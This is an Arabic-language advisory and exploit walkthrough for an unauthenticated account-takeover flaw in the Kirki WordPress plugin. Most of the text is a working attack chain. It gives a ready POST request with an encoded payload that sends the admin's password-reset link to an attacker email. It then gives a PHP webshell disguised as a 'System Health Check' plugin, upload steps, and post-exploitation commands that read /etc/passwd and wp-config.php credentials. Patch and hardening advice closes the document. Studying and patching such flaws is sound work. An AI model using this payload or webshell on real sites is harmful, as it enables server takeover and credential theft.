
CVE-2026-8206: Kirki Customizer Framework - الاستيلاء على الحساب دون مصادقة (CVSS 9.8)
CVSS v3.1 9.8 / 10.0 حرجة
المتجه: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-8206 هي ثغرة الاستيلاء على الحساب بدون مصادقة في إطار عمل Kirki Customizer Framework — وهي إضافة شائعة لبناء صفحات ووردبريس مع أكثر من 90,000 تثبيت نشط. تسمح الثغرة للمهاجم بالاستيلاء على أي حساب ووردبريس (بما في ذلك حساب المشرف) بمجرد إرسال طلب HTTP واحد.
يكمن الخلل في نقطة نهاية REST API kirki-forgot-password في وحدة ComponentLibrary. تسمح نقطة النهاية هذه بطلب إعادة تعيين كلمة المرور لأي مستخدم وترسل رابط إعادة التعيين إلى عنوان بريد إلكتروني يحدده المهاجم، بدلاً من البريد الإلكتروني المسجل للمستخدم.
| المعلومات | التفاصيل |
|---|---|
| الإضافة | Kirki Customizer Framework (منشئ صفحات ووردبريس) |
| الإصدارات المتأثرة | 6.0.0 – 6.0.6 |
| الإصدار المُصحَّح | 6.0.7 (أو 6.0.12+) |
| نوع الثغرة | استيلاء على الحساب بدون مصادقة عبر اختطاف بريد إعادة تعيين كلمة المرور |
| نقطة النهاية | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (أو /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password) |
| CVSS | 9.8 حرجة |
متطلبات الاستغلال:
→ كل موقع ووردبريس مثبت عليه Kirki 6.0.0–6.0.6 يكون عرضة للخطر افتراضيًا.
يسجّل Kirki نقاط نهاية REST API لميزة Component Library، بما في ذلك تسجيل الدخول والتسجيل ونسيان كلمة المرور وتغيير كلمة المرور. جميعها تسمح بوصول الضيوف (تُرجع guest_permissions_check القيمة true).
nonce ووردبريس هو رمز حماية من CSRF. يتطلب Kirki nonce عبر ترويسة X-WP-Element-Nonce أو يتحقق من معامل nonce في الطلب. ومع ذلك، يمكن إنشاء الـ nonce أو استخراجه علنًا من جانب العميل.
يستخدم ووردبريس get_password_reset_key() لإنشاء رمز إعادة تعيين كلمة المرور. يُدرج Kirki هذا الرمز في قالب البريد الإلكتروني قبل الإرسال.
الملف: ComponentLibrary/controller/CompLibFormHandler.php
في الإصدار الضعيف (6.0.0–6.0.6)، لا تتحقق الدالة handle_forgot_password() من تطابق البريد الإلكتروني المقدم مع البريد الإلكتروني المسجل للمستخدم. يمكن للمهاجم تحديد اسم مستخدم الضحية وبريده الإلكتروني الخاص — وسيُرسل رابط إعادة التعيين إلى بريد المهاجم.
الكود المصدري الضعيف:
public function handle_forgot_password( $request ) {
$form_data = $request->get_body_params();
$this->validate_nonce( 'kirki-forgot-password' );
$email = $form_data['email']; // <-- ATTACKER CONTROLLED
$username = $form_data['username'];
$user = get_user_by( 'login', $username );
//BUG: Does NOT check $email === $user->user_email
// Attacker's email is used directly
$key = get_password_reset_key( $user );
$reset_link = "$url?action=rp&key=$key&login=$username";
// SENDS RESET LINK TO ATTACKER'S EMAIL
wp_mail( $email, $subject, $body_with_reset_link );
// ^^^^^
// ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}
يتم استلام موضوع البريد الإلكتروني ونصه من العميل عبر المعاملين emailSubject وemailBody دون أي توقيع HMAC للتحقق من السلامة. يمكن للمهاجم تعديل محتوى البريد الإلكتروني المرسل بشكل تعسفي.
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject']; // Client-controlled
$email_body = $form_data['emailBody']; // Client-controlled
// No verify_email_template_signature()
// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}
| العامل | الشرح |
|---|
يبدأ استغلال CVE-2026-8206 من صفر وصول — لا حساب، لا كلمة مرور، لا جلسة — إلى استيلاء كامل على حساب المشرف باستخدام طلبات HTTP فقط.
Phase 1: Extract Nonce → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email → Send reset link to attacker's email
Phase 3: Reset Password → Change admin password using the obtained reset key
Phase 4: Login Admin → Log in with the new password
Phase 5: Webshell Upload → Install backdoor via plugin upload
Phase 6: RCE → Execute arbitrary commands on the server
حمّل الإضافة من wordpress.org وافتح الملف CompLibFormHandler.php مباشرة:
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
if ( $body_data['type'] === 'text' ) {
$email_body = $email_body . $body_data['value'];
} elseif ( $body_data['type'] === 'chip' ) {
$email_body = $email_body . $chip_data[ $body_data['value'] ];
// ^^^^^^^^^^^^^^^^^^^
// $chip_data['reset_link'] = actual reset URL!
}
}
→ تكشف قراءة الكود أن: emailBody يجب أن تكون مصفوفة JSON، كل عنصر يحتوي على type وvalue. إذا كان type = chip وvalue = reset_link، يقوم Kirki تلقائيًا بإدراج رابط إعادة التعيين في البريد الإلكتروني.
ابحث مباشرة داخل دليل الإضافة:
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/
سيكشف الكود الأمامي المُجمَّع عن بنية JSON الدقيقة المطلوبة.
Find endpoint (/wp-json/ or rest_route)
↓
Read PHP source → find $form_data['emailBody']
↓
Understand JSON array format (type / value)
↓
Read chip_data array → find key "reset_link"
↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
↓
Test → success
يرسل المهاجم طلب POST إلى نقطة نهاية forgot-password مع اسم مستخدم الضحية (admin) وعنوان بريد إلكتروني يتحكم به المهاجم ([email protected]). يولّد الخادم مفتاح إعادة تعيين للضحية لكنه يرسل رابط إعادة التعيين إلى [email protected].
إرسال الطلب:
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded
username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

الاستجابة (نجاح):

البريد الإلكتروني المستلم في صندوق بريد المهاجم (MailHog على http://localhost:8025):
Subject: Password Reset
Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

يستخدم المهاجم رمز key الذي حصل عليه من البريد الإلكتروني لتغيير كلمة مرور حساب المشرف عبر نقطة نهاية kirki-change-password أو نموذج ووردبريس الافتراضي، ثم يسجل الدخول ويحصل على سيطرة إدارية كاملة على الموقع.

تم تغيير كلمة المرور والوصول باستخدام حساب admin.

تم الوصول إلى حساب admin بنجاح.
بعد الحصول على وصول إلى لوحة تحكم المشرف، يرفع المهاجم مستوى الهجوم من الاستيلاء على الحساب إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر ميزة رفع الإضافات الافتراضية في ووردبريس.
ينشئ المهاجم webshell بلغة PHP مقنعًا كإضافة ووردبريس شرعية:
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
echo '<pre>';
echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
echo '</pre>';
}
يتم ضغط هذا الملف في system-health.zip للرفع عبر واجهة المشرف.
ينتقل المهاجم إلى الإضافات → إضافة جديد → رفع إضافة، ويختار ملف system-health.zip ثم ينقر تثبيت الآن → تفعيل الإضافة.

بعد الرفع، يقوم ووردبريس تلقائيًا بفك ضغط ملف .zip في دليل /wp-content/plugins/ على الخادم، مما يجعل الـ webshell جاهزًا للعمل.
يصل المهاجم إلى الـ webshell مباشرة عبر نقطة النهاية /wp-content/plugins/webshell-plugin/shell.php


تم تنفيذ RCE بنجاح.
عند هذه النقطة، يمتلك المهاجم قدرة كاملة على تنفيذ الأوامر على الخادم بصلاحيات www-data. قد تشمل الإجراءات اللاحقة:
Admin Dashboard (Account Takeover)
↓
Upload Plugin containing Webshell (.zip)
↓
WordPress extracts → .php file resides on server
↓
Access shell.php?cmd=<command>
↓
Server executes command → returns result
↓
RCE complete — full www-data privileges on server
| الإصدار الحالي | الترقية إلى |
|---|---|
| 6.0.0 – 6.0.6 | 6.0.7 أو أحدث |
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response(
array( 'message' => 'If an account exists...' ), 200
);
}
$email = $user_email; // Force use of the user's actual email
حتى إذا تم اختراق حساب المشرف، يمكن تخفيف الضرر بالإجراءات التالية:
| لا يتطلب مصادقة | تُرجع guest_permissions_check() القيمة true — يمكن لأي شخص استدعاء نقطة النهاية |
| يمكن الاستيلاء على أي حساب | فقط اسم المستخدم مطلوب (الافتراضي: 'admin') — لا حاجة لبريد إلكتروني/كلمة مرور |
| التأثير: الاستيلاء على حساب المشرف | الاستيلاء على المشرف → رفع webshell → RCE → سيطرة كاملة على الخادم |
| انتشار واسع | Kirki إضافة مدمجة على نطاق واسع في العديد من قوالب ووردبريس |
| الأمر | الغرض |
|---|
id | تأكيد صلاحيات المستخدم الحالي |
whoami | عرض اسم المستخدم الحالي |
cat /etc/passwd | قراءة قائمة مستخدمي النظام |
uname -a | عرض معلومات النواة/نظام التشغيل |
cat wp-config.php | قراءة بيانات اعتماد قاعدة البيانات |
ls -la / | تصفح نظام الملفات بالكامل |
| # | المرحلة | الطريقة | المسار |
|---|
| 1 | اختطاف بريد إعادة التعيين | POST | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password |
| 2 | إعادة تعيين كلمة المرور | GET | /wp-login.php?action=rp&key=<token>&login=admin |
| 3 | تسجيل دخول المشرف | POST | /wp-login.php |
| 4 | رفع Webshell | POST | /wp-admin/update.php?action=upload-plugin |
| 5 | RCE | GET | /wp-content/plugins/webshell-plugin/shell.php?cmd=<command> |
| الإجراء | الإعداد |
|---|
| حظر تثبيت الإضافات/القوالب عبر لوحة التحكم | أضف define('DISALLOW_FILE_MODS', true); إلى wp-config.php |
| حظر تحرير الكود من لوحة التحكم | أضف define('DISALLOW_FILE_EDIT', true); إلى wp-config.php |
| تقييد صلاحيات دليل الرفع | chmod 755 للدلائل، chmod 644 للملفات |
| جدار حماية تطبيقات الويب (WAF) | نشر ModSecurity أو Cloudflare WAF لحظر الطلبات غير الطبيعية الموجهة إلى REST API |
| المراقبة | مراقبة تغييرات الملفات في /wp-content/plugins/ باستخدام أدوات مثل OSSEC أو Wordfence |